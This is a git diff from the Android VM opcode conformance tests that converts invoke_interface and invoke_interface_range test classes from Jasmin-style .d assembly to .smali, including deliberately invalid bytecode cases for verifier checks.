index 2fc4a90..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_9.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface {v6}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.smali
new file mode 100644
index 0000000..6c748d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_9.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_9.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface {v6}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.d
deleted file mode 100644
index 70fee02..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_1.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface/range {v6..v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.smali
new file mode 100644
index 0000000..1627268
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface/range {v6..v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.d
deleted file mode 100644
index d78f6c6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_10.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-       const v6, 1243
-       invoke-interface/range {v6..v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.smali
new file mode 100644
index 0000000..3e94fd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+       const v6, 1243
+       invoke-interface/range {v6..v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.d
deleted file mode 100644
index d0fe868..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_11.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       invoke-interface/range {v4}, dot/junit/opcodes/invoke_interface_range/ITest/doit()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.smali
new file mode 100644
index 0000000..246e92b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       invoke-interface/range {v4}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.d
deleted file mode 100644
index 7463912..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_12.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
-.limit regs 5
-
-       invoke-interface/range {v4}, dot/junit/opcodes/invoke_interface_range/ITest/doitNative()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.smali
new file mode 100644
index 0000000..fac5097
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_12.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 5
+
+       invoke-interface/range {v4}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doitNative()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.d
deleted file mode 100644
index 4b0ea65..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_13.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_13
-.super dot/junit/opcodes/invoke_interface_range/ITestImplAbstract
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_interface_range/ITestImplAbstract/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 7
-
-       invoke-interface/range {v6}, dot/junit/opcodes/invoke_interface_range/ITest/doit()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.smali
new file mode 100644
index 0000000..fd0b385
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_13.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_13;
+.super  Ldot/junit/opcodes/invoke_interface_range/ITestImplAbstract;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_interface_range/ITestImplAbstract;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 7
+
+       invoke-interface/range {v6}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.d
deleted file mode 100644
index ce6cd80..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.d
+++ /dev/null
@@ -1,55 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_14.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)I
-.limit regs 9
-    const v1, 123
-    const v2, 345
-
-    const v4, 64
-    const v5, 2
-    move-object v3, v8
-    invoke-interface/range {v3..v5}, dot/junit/opcodes/invoke_interface_range/ITest/testArgsOrder(II)I
-    move-result v4
-    const v5, 32
-    if-ne v4, v5, Label0
-
-    const v5, 123
-    if-ne v5, v1, Label0
-
-    const v5, 345
-    if-ne v5, v2, Label0
-
-
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.smali
new file mode 100644
index 0000000..4e09fa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_14.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)I
+.registers 9
+    const v1, 123
+    const v2, 345
+
+    const v4, 64
+    const v5, 2
+    move-object v3, v8
+    invoke-interface/range {v3..v5}, Ldot/junit/opcodes/invoke_interface_range/ITest;->testArgsOrder(II)I
+    move-result v4
+    const v5, 32
+    if-ne v4, v5, :Label0
+
+    const v5, 123
+    if-ne v5, v1, :Label0
+
+    const v5, 345
+    if-ne v5, v2, :Label0
+
+
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.d
deleted file mode 100644
index 2cfcc5e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_16.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
-.limit regs 6
-
-       const/high16 v3, 1065353216
-       move-object v2, v5
-       invoke-interface/range {v2..v3}, dot/junit/opcodes/invoke_interface_range/ITest/doit(F)V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.smali
new file mode 100644
index 0000000..c2cc2b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
+.registers 6
+
+       const/high16 v3, 1065353216
+       move-object v2, v5
+       invoke-interface/range {v2..v3}, Ldot/junit/opcodes/invoke_interface_range/ITest;->doit(F)V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.d
deleted file mode 100644
index 014b348..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.d
+++ /dev/null
@@ -1,27 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_18.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-interface/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.smali
new file mode 100644
index 0000000..5f91c2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_18.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-interface/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.d
deleted file mode 100644
index cd8bc3e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_2.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface/range {v6..v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.smali
new file mode 100644
index 0000000..b5f215a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface/range {v6..v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.d
deleted file mode 100644
index 3dd1bcd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_range_20.java
-.class public dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_20
-.super java/lang/Object
-
-.field public static i I
-
-.method static <clinit>()V
-.limit regs 2
-Label0:
-       const/4 v1, 0
-       sput v1, dot.junit.opcodes.invoke_interface_range.d.T_invoke_interface_range_20.i I
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface_range/ITest;)V
-.limit regs 5
-
-       invoke-interface/range {v3}, dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20/<clinit>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.smali
new file mode 100644
index 0000000..fb69883
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface_range/d/T_invoke_interface_range_20.smali
@@ -0,0 +1,43 @@
